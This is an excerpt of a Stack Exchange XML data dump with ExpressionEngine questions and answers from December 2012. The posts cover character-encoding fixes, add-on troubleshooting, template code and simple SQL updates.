  <row Id="1723" PostTypeId="2" ParentId="1719" CreationDate="2012-12-16T21:06:14.923" Score="2" Body="&lt;p&gt;If you wanted to try the option Nicolas outlined in &lt;a href=&quot;http://www.solspace.com/forums/viewthread/14730/#57907&quot; rel=&quot;nofollow&quot;&gt;his reply&lt;/a&gt; then you could change the value of the hidden input field using some jQuery easy enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at this working example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/Tyzsr/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/Tyzsr/1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's still rough but should get you going down the right road I hope.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-12-16T21:14:45.913" LastActivityDate="2012-12-16T21:14:45.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1724" PostTypeId="2" ParentId="1720" CreationDate="2012-12-16T21:14:45.613" Score="6" Body="&lt;p&gt;There's plenty of addons already out there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/title-master&quot;&gt;http://devot-ee.com/add-ons/title-master&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot;&gt;http://devot-ee.com/add-ons/mx-title-control&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="625" LastActivityDate="2012-12-16T21:14:45.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1725" PostTypeId="2" ParentId="1557" CreationDate="2012-12-16T23:58:56.487" Score="3" Body="&lt;p&gt;I thought I'd provide the response that Ellis Lab gave me for this issue, for others who may need it in the future. Unfortunately, it doesn't solve my issue, since rolling back the database at this point really can't be done. The client gets hundreds of new entries into EE2 every couple of days and its been almost a month since the transition. That said here are the details from Ellis Lab…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The html entities are the result of double-encoded data. As part of the upgrade process, ExpressionEngine converts your database to UTF-8. However, if any data is already set to UTF-8, it will be re-encoded and you will see the bizarre characters.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Essentially, you need to roll back to the pre-upgrade state. Once you are there follow these steps.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Edit out this bit in &lt;code&gt;/system/expressionengine/installer/updates/ud_200.php&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Find: &lt;code&gt;foreach ($tables as $table) { $progress = &quot;Converting Database Table {$table}: %s&quot;; $count = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;count_all($table); $offset = 0;&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It should be around line 415. Now comment out the code beginning with:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;if ($count &amp;gt; 0) //around line 421&#xA;&#xA;... all the way through ...&#xA;$offset = $offset + $batch; // around line 465&#xA;}&#xA;*/ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then upload this to your server and perform the upgrade per the instructions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What this will do is convert your tables to UTF-8 collation but not the data in those tables. This will be safe through future updates too. This simple edit keeps the installer from double-encoding the data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So now that I know the process or issue is one of double encoding, I'm trying to find a method that will decode content of a query. Considering the size of the clients database (over 45,000 records), the Asian language records make up a very small percentage (around 300 records). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decoding them one by one has been relatively easy, but is obviously time consuming. A scripted decode solution would be great. I've tried with MySQL alter statements&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE exp_weblog_data MODIFY field_id_1 text character set binary;&#xA;ALTER TABLE exp_weblog_data MODIFY field_id_1 text character set utf8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as well as testing against some conversion statements, such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT field_id_1 &#xA;CONVERT(CAST(field_id_1 AS BINARY) USING utf8) &#xA;FROM exp_channel_data &#xA;WHERE channel_id=&quot;6&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried the ALTER on the old database table, to see if it would work, since the data seems to be encode in that one as well (though displays fine in the control panel). I didn't want to deal with any unexpected repercussions of ALTERing the live database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find a few great resources on MySQL conversion issues, which may help others in the future:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nic Jansma wrote up an awesome article on various conversion issues, how to test, and how to convert, see:&#xA;&lt;a href=&quot;http://nicj.net/mysql-converting-an-incorrect-latin1-column-to-utf8/&quot; rel=&quot;nofollow&quot;&gt;http://nicj.net/mysql-converting-an-incorrect-latin1-column-to-utf8/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mattias Gunneras got me started on the testing of ALTER table commands, which may work for many, though didn't for me, see: &#xA;&lt;a href=&quot;http://www.bothernomore.com/2008/12/16/character-encoding-hell/&quot; rel=&quot;nofollow&quot;&gt;http://www.bothernomore.com/2008/12/16/character-encoding-hell/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GeekGuide provided some more insight into how to properly use CONVERT, CAST, and BINARY, see: &lt;a href=&quot;http://www.geeksengine.com/database/single-row-functions/conversion-functions.php&quot; rel=&quot;nofollow&quot;&gt;http://www.geeksengine.com/database/single-row-functions/conversion-functions.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, it maybe quicker for me to convert the records by hand, just copying and pasting from the old control panel to the new control panel. But since I expect this maybe an issue again in the future, I'm still working on finding a scripted process for dealing with the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to figure out how to run a UTF8 Decode (like: &lt;a href=&quot;http://www.utf8converter.com&quot; rel=&quot;nofollow&quot;&gt;http://www.utf8converter.com&lt;/a&gt; ) on select records in a database, store in a temporary table, then UPDATE the database with the converted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated. 12/17/2012.&lt;/strong&gt; &lt;a href=&quot;http://ellislab.com&quot; rel=&quot;nofollow&quot;&gt;Ellis Lab&lt;/a&gt; wrote a quick extension, 'EllisLab High ASCII Decode' that converts for the control panel, making Asian Languages fully readable and editable. Apparently a leftover setting from EE 1 did an 'auto_convert_high_ascii' and that was the issue. So this is now totally resolved.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2012-12-18T01:22:34.013" LastActivityDate="2012-12-18T01:22:34.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1726" PostTypeId="1" AcceptedAnswerId="1727" CreationDate="2012-12-17T01:12:35.377" Score="0" ViewCount="669" Body="&lt;p&gt;I've installed Minimee. It doesn't seem to be combining CSS and JS files, despite them being wrapped in &lt;code&gt;{exp:minimee:css}&lt;/code&gt; and &lt;code&gt;{exp:minimee:js}&lt;/code&gt; respectively. Minimee is installed and &quot;Combine Assets&quot; are checked for CSS and JS (as well as &quot;Minify&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view the rendered template, I still see the individual files itemized in the mark up. Basically, they weren't combined. They weren't minimized, either. NOTE: CSS and JS files are in templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that when I check the minify HTML checkbox that it does affect the mark up a bit (though I thought it would minify it to the point that the HTML becomes a single line -- unless there are &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; tags, I suppose). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, Minimee doesn't seem to be doing its thing. So, I am trying to debug it by turning on Template Debugging. I have set it in CPanel. However, I don't see anything on the rendered page that looks like template debugging. I am logged in as a Super Admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be wrong with Minimee or Template Debugging?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the cache folder in the wrong place (was confused since I am using MSM). It's been fixed now. Minimee is now creating the combined/minified CSS and JS and in the cache folder. It seems to also properly reference it from within the templates. However, it seems like what is being retrieved is the home page's HTML instead of the actual contents of the file in the cache folder. Still looking into this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems that there might be some sort of server issue. When I go to www.domain.com/cache/, I see the combined/minified JS and CSS files. However, when I click on them, I get a 404 error.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-17T02:53:40.327" LastActivityDate="2012-12-17T22:58:14.470" Title="Minimee not working. How do I display template debugging?" Tags="|debugging|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1727" PostTypeId="2" ParentId="1726" CreationDate="2012-12-17T01:36:53.330" Score="1" Body="&lt;p&gt;Is it possible your template is cached and so not rendering the correct version?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Template debugging will appear at the bottom of the page after enabling it in the control panel. If you don't see it, try inspecting the page to see if your reset CSS is somehow hiding it. Also, try setting up a blank test template, you should see the output on that page. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1086/database-queries-in-output-profiler-wont-display&quot;&gt;&lt;strong&gt;Check out this SE question&lt;/strong&gt;&lt;/a&gt;, perhaps you are hitting the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debugging output will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmaWQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Minimee, if I remember correctly, will create a new file name altogether. It will be obvious when it's working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using {path=} to create the JS or CSS urls, remove that and try just the path from root... eg: /global/js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try moving your JS/CSS to actual files to see if it combines them in that format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If still not working, try the code in a new blank test template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to try is to reupload all the addon files anew. Perhaps something was missed or corrupted?&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2012-12-17T01:36:53.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1728" PostTypeId="1" AcceptedAnswerId="1741" CreationDate="2012-12-17T01:59:37.463" Score="1" ViewCount="165" Body="&lt;p&gt;I have a client that has a nasty habit of entering &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags and &lt;code&gt;style=&quot;&quot;&lt;/code&gt; attributes to WYGWAM content and I need to be able to cut them off at the pass. They should hire me to do that for them!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need is to delete anything entered in a WYGWAM field that matches these tags and attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2012-12-17T10:40:54.860" Title="How can I disallow Javascript and CSS entered into WYGWAM fields?" Tags="|javascript|tags|css|wygwam|richtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1729" PostTypeId="1" CreationDate="2012-12-17T02:19:29.897" Score="2" ViewCount="260" Body="&lt;p&gt;I am a beginner in ExpressionEngine (and other code languages for that matter). Anyways, I am creating a video tutorial site, I have my ExpressionEngine site set up so I have categories in one channel. These categories filter content to the corresponding page. However, I want my site to have a featured video, which will be the newest posted video. Once I publish a new video, I want it to take the main stage and push the previous video to a smaller size. I am using Vimeo as a video host so all videos will be on Vimeo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code in my main page for sorting new from old content&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;10&quot;}&#xA;&amp;lt;div class=&quot;main_feature&quot;&amp;gt;&#xA;&#xA;{if count==1}&#xA;&amp;lt;div class=&quot;video_large&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;{if count !=1}&#xA;&amp;lt;div class=&quot;video_small&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;h2&amp;gt;{video_tutorial_title}&amp;lt;/h2&amp;gt;&#xA;{video_tutorial_link}&#xA;{video_tutorial_summary}&#xA;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have them filtering to two different styles. My CSS looks like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.video_large {&#xA;    height: 960px;&#xA;    width: 640px;&#xA;}&#xA;.video_small {&#xA;    height: 180px;&#xA;    width: 320px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When entering my new content/videos. I have been using the embed code from each video and removing the height and width from them thinking the div would then resize it. It looks as if it resized all the videos to 180x340 but for the newest video it looks like it created a 640x960 div, the video just doesn't fill the entire div. I am hoping I won't need any plug ins or anything like that. I am hoping its just something basic I am overlooking. Any help is greatly appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="626" LastEditorUserId="28" LastEditDate="2012-12-20T17:04:45.990" LastActivityDate="2012-12-21T13:08:31.753" Title="Creating multiple sized videos in ExpressionEngine using Vimeo" Tags="|css|video|vimeo|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1730" PostTypeId="1" AcceptedAnswerId="1731" CreationDate="2012-12-17T02:45:03.110" Score="0" ViewCount="414" Body="&lt;p&gt;I have a channel called &quot;Sub&quot; that's essentially a catch-all for generic interior pages. All other channels (approximately 6) are loading fine, but the &quot;sub&quot; channel won't load anything in any template. It's not a template problem as I've tried it in multiple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I currently have in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_includes/html_head&quot;}&#xA;    Hello!&#xA;    {exp:channel:entries channel=&quot;sub&quot;}&#xA;    &amp;lt;body id=&quot;interior&quot; class=&quot;{categories limit='1'}{category_url_title}{/categories}&quot;&amp;gt;&#xA;        {embed=&quot;embeds/interior_supernav&quot;}&#xA;        &amp;lt;div id=&quot;site-wrapper&quot;&amp;gt;&#xA;            &amp;lt;header id=&quot;main-header&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;site-header&quot;&amp;gt;&#xA;                    {embed=&quot;embeds/header_opening_tag&quot; width=&quot;400&quot; height=&quot;268&quot;}&#xA;                        &amp;lt;h1&amp;gt;{exp:low_variables:parse var='full_organization_name'}&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;nav id=&quot;main-navigation&quot;&amp;gt;&#xA;                            &amp;lt;h2&amp;gt;&amp;lt;abbr title=&quot;College of Environmental Design&quot;&amp;gt;CED&amp;lt;/abbr&amp;gt; Menu&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;div class=&quot;groups&quot;&amp;gt;&#xA;                                {exp:structure:nav start_from=&quot;/&quot; show_depth=&quot;1&quot; exclude=&quot;1&quot; css_id=&quot;none&quot; css_class=&quot;site&quot; status=&quot;open|featured&quot;}&#xA;                                {exp:structure:nav start_from=&quot;/academics&quot; show_depth=&quot;1&quot; css_id=&quot;none&quot; css_class=&quot;departments&quot; include=&quot;19|143|21&quot;}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/nav&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div id=&quot;interior-header&quot;&amp;gt;&#xA;                    {embed=&quot;embeds/interior_header_opening_tag&quot;}&#xA;                        &amp;lt;h2&amp;gt;&#xA;                            {if section_title == &quot;&quot;}&#xA;                            {if {structure:page:entry_id} == {structure:top:entry_id}}&#xA;                            {exp:low_variables:parse var='full_organization_name'}&#xA;                            {if:else}&#xA;                            {structure:top:title}&#xA;                            {/if}&#xA;                            {if:else}&#xA;                            {section_title}&#xA;                            {/if}&#xA;                        &amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;            &amp;lt;div id=&quot;interior-wrapper&quot; {if sub_related_content == &quot;&quot;}class=&quot;no-related-content&quot;{/if}&amp;gt;&#xA;                &amp;lt;nav id=&quot;interior-navigation&quot;&amp;gt;&#xA;                    {exp:structure:nav start_from=&quot;{segment_1}&quot; show_depth=&quot;2&quot; show_overview=&quot;yes&quot; rename_overview=&quot;title&quot;}&#xA;                &amp;lt;/nav&amp;gt;&#xA;                &amp;lt;section id=&quot;interior-content&quot;&amp;gt;&#xA;                    &amp;lt;article&amp;gt;&#xA;                        &amp;lt;header&amp;gt;&#xA;                            &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                            {if subhead}&amp;lt;h2&amp;gt;{subhead}&amp;lt;/h2&amp;gt;{/if}&#xA;                        &amp;lt;/header&amp;gt;&#xA;                        &amp;lt;div class=&quot;article-content&quot;&amp;gt;&#xA;                            {sub_content}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;&#xA;                &amp;lt;/section&amp;gt;&#xA;                &amp;lt;section id=&quot;related-content&quot;&amp;gt;&#xA;                    {sub_related_content status=&quot;open|featured&quot;}&#xA;                    {if &quot;{channel_short_name}&quot; == &quot;events&quot;}&#xA;                    {events_syndication_details}&#xA;                    &amp;lt;article class=&quot;minor-article {categories limit='1'}{category_url_title}{/categories}&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;{page_url}&quot; class=&quot;url&quot;&amp;gt;&#xA;                            {if entry_image}&#xA;                            &amp;lt;figure&amp;gt;&#xA;                                {exp:ce_img:pair src=&quot;{entry_image}&quot; max=&quot;400&quot;}&#xA;                                &amp;lt;img src=&quot;{made}&quot;&amp;gt;&#xA;                                {/exp:ce_img:pair}&#xA;                            &amp;lt;/figure&amp;gt;&#xA;                            {/if}&#xA;                            &amp;lt;header&amp;gt;&#xA;                                &amp;lt;h3&amp;gt;&amp;lt;span class=&quot;tag-name&quot;&amp;gt;{categories limit=&quot;1&quot;}{category_url_title}{/categories}&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;/header&amp;gt;&#xA;                            &amp;lt;p class=&quot;description&quot;&amp;gt;{entry_excerpt}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;&#xA;                    {/events_syndication_details}&#xA;                    {/sub_related_content}&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {embed=&quot;_includes/footer&quot;}&#xA;        {embed=&quot;_includes/body_close&quot;}&#xA;    &amp;lt;/body&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    Goodbye!&#xA;{embed=&quot;_includes/html_foot&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get nothing between the &quot;Hello!&quot; and &quot;Goodbye!&quot;. In fact if I remove everything but that and the entries tag pair I still get nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_includes/html_head&quot;}&#xA;    Hello!&#xA;    {exp:channel:entries channel=&quot;sub&quot;}&#xA;    There?&#xA;    {/exp:channel:entries}&#xA;    Goodbye!&#xA;{embed=&quot;_includes/html_foot&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;There?&quot; doesn't show.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2012-12-17T02:55:05.870" Title="Getting the Blank / White page, but only for one channel" Tags="|channel|blank-screen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1731" PostTypeId="2" ParentId="1730" CreationDate="2012-12-17T02:55:05.870" Score="3" Body="&lt;p&gt;I'm a fool. It was because I had the status set to &quot;Featured&quot; but wasn't looking for that. Updated to &lt;code&gt;{exp:channel:entries channel=&quot;sub&quot; status=&quot;open|featured&quot;}&lt;/code&gt; and all is good in the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry to waste anyone's time.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2012-12-17T02:55:05.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1732" PostTypeId="1" CreationDate="2012-12-17T03:24:57.803" Score="4" ViewCount="155" Body="&lt;p&gt;I’m trying to switch a site from the Multi Relationships add-on to Playa, the Multi Relationships add-on is just too limiting and Playa would solve the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is, I have over 300 hundred entries in a particular Channel, and apparently due to the fact that this channel was using Multi Relationships and not native relationships, I can't use Playa’s converter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the particular application, it's my church's website, and for each sermon we post, I associate the sermon with a Channel entry for the speaker. Most of the sermons are from my pastor. It seems like I should be able to submit a query that will update the Playa field for each entry to be associated with the Pastor’s Channel entry, and then manually go in a change the few sermon’s that were preached by someone else, but I can’t figure it out. So far, nothing. Any help on how to run that query would be appreciated, queries are my Kryptonite.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2012-12-17T04:05:52.913" Title="Replacing Native Relationships with Playa - Update 300 some entries at once" Tags="|playa|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1733" PostTypeId="2" ParentId="1732" CreationDate="2012-12-17T04:05:52.913" Score="1" Body="&lt;p&gt;Remember to backup your database before tackling any serious SQL updated statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd do is assign one of the sermons manually and see what your Playa field gets set as inside exp_channel_data table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update exp_channel_data&#xA;set your_playa_field_id='value you noted above'&#xA;where exp_channel_data.channel_id='sermon_channel_id'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm not sure is whether the Playa relationships table would need to be updated as well. I think it would but you would need to insert new records to that table. &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-12-17T04:05:52.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1734" PostTypeId="1" AcceptedAnswerId="1738" CreationDate="2012-12-17T04:30:14.417" Score="4" ViewCount="5327" Body="&lt;p&gt;I've got a PHP script that updates an entry's status depending on certain criteria being met. I was planning on running this script as a cron job on my web server every hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'd also be nice if I could run it on certain templates on the website too (like on a success/confirmation page after an entry was submitted), so that entries can be updated right away should they need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about running this script silently from a template though, without it outputting anything to screen? I almost want to 'ping the cron job' (pardon the lack of technical terms here!) from the EE template. It's not something I've done before so I'd appreciate any advice on the best way of going about this, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final follow-up, here's the code I ended up using inside my EE template. I followed Anna's first recommendation below and used the PHP exec() function, and I ran this PHP using &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/custom_methods#php&quot; rel=&quot;nofollow&quot;&gt;CE String's php method&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing php}&#xA;  &amp;lt;?php&#xA;    exec(&quot;php path/to/my/php/script.php &amp;gt; /dev/null &amp;amp;&quot;);&#xA;  ?&amp;gt;&#xA;{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2012-12-18T05:03:51.003" LastActivityDate="2012-12-18T05:03:51.003" Title="How to run a php script silently (like a cron job) from an EE template" Tags="|templates|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1735" PostTypeId="2" ParentId="1734" CreationDate="2012-12-17T04:37:36.990" Score="7" Body="&lt;p&gt;Sorry for the super simple answer, but I would just abstract your logic so you could execute the same function with the cron job as you would with the template tag. By creating an EE module you could create an ACT id to execute the cron job script, and use the plugin portion for the template. A common library would be the two that links it all together. Pretty simple really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, I don't ever put PHP in templates. This is one black and white rule I don't think ever needs to be broken provided you have the skill to write a plugin. IMO, there is no proper instance where PHP in the template is better than a plugin.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-17T04:37:36.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1736" PostTypeId="1" AcceptedAnswerId="1790" CreationDate="2012-12-17T05:58:22.227" Score="3" ViewCount="206" Body="&lt;p&gt;Our site was working just fine yesterday. And when we go to it today it is blank on the homepage and CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned debugging on in index.php and admin.php and it returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: require(/var/www/vhosts/domain.com.au/httpdocs/system-46cjg2378sW/codeigniter/system/core/Exceptions.php): failed to open stream: &#xA;Too many open files in /var/www/vhosts/domain.com.au/httpdocs/system-46cjg2378sW/codeigniter/system/core/Common.php on line 137 Fatal error: require(): &#xA;Failed opening required '/var/www/vhosts/domain.com.au/httpdocs/system-46cjg2378sW/codeigniter/system/core/Exceptions.php' (include_path='.:') in /var/www/vhosts/domain.com.au/httpdocs/system-46cjg2378sW/codeigniter/system/core/Common.php on line 137&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What on earth could have happened overnight? We haven't made any updates.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2012-12-17T06:41:37.240" LastActivityDate="2012-12-18T22:38:27.083" Title="White Home Page and CP" Tags="|ee2|control-panel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1737" PostTypeId="2" ParentId="1736" CreationDate="2012-12-17T06:08:54.683" Score="0" Body="&lt;p&gt;Check to see if your ISP made any updates. It's possible your version of PHP was changed overnight.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-17T06:08:54.683" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1738" PostTypeId="2" ParentId="1734" CreationDate="2012-12-17T06:56:55.967" Score="6" Body="&lt;p&gt;Here are 3 quick/easy options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;USING PHP&lt;br&gt;&#xA;This question on Stack Overflow sounds like what you're wanting to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://stackoverflow.com/a/5361657/135935&quot;&gt;Use php to trigger another php script, then ignore&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;USING CURL&lt;br&gt;&#xA;Another method would be to use CURL. Here's a &lt;a href=&quot;https://stackoverflow.com/a/1804743/135935&quot;&gt;&lt;strong&gt;Stack Overflow answer&lt;/strong&gt;&lt;/a&gt; with an example.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;USING JAVASCRIPT&lt;br&gt;&#xA;Another method is using JS/jQuery. &lt;a href=&quot;https://stackoverflow.com/a/5659311/135935&quot;&gt;&lt;strong&gt;This answer on Stack Overflow&lt;/strong&gt;&lt;/a&gt; shows example code:&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-17T06:56:55.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1739" PostTypeId="2" ParentId="1736" CreationDate="2012-12-17T07:30:09.293" Score="1" Body="&lt;p&gt;This isn't an answer to why it happened suddenly or what it causing it to open so many files, but if you have shell access on tour server, run ulimit -a and look for your open files limit.  That is the number that you are running over that is causing your issue.  If this number seems quite low, perhaps getting your host to raise it will be your solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen similar errors reported with big sets of playa matrix fields.  Do you have any monster channel field groups or anything like that that might cause this?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-18T22:38:27.083" LastActivityDate="2012-12-18T22:38:27.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
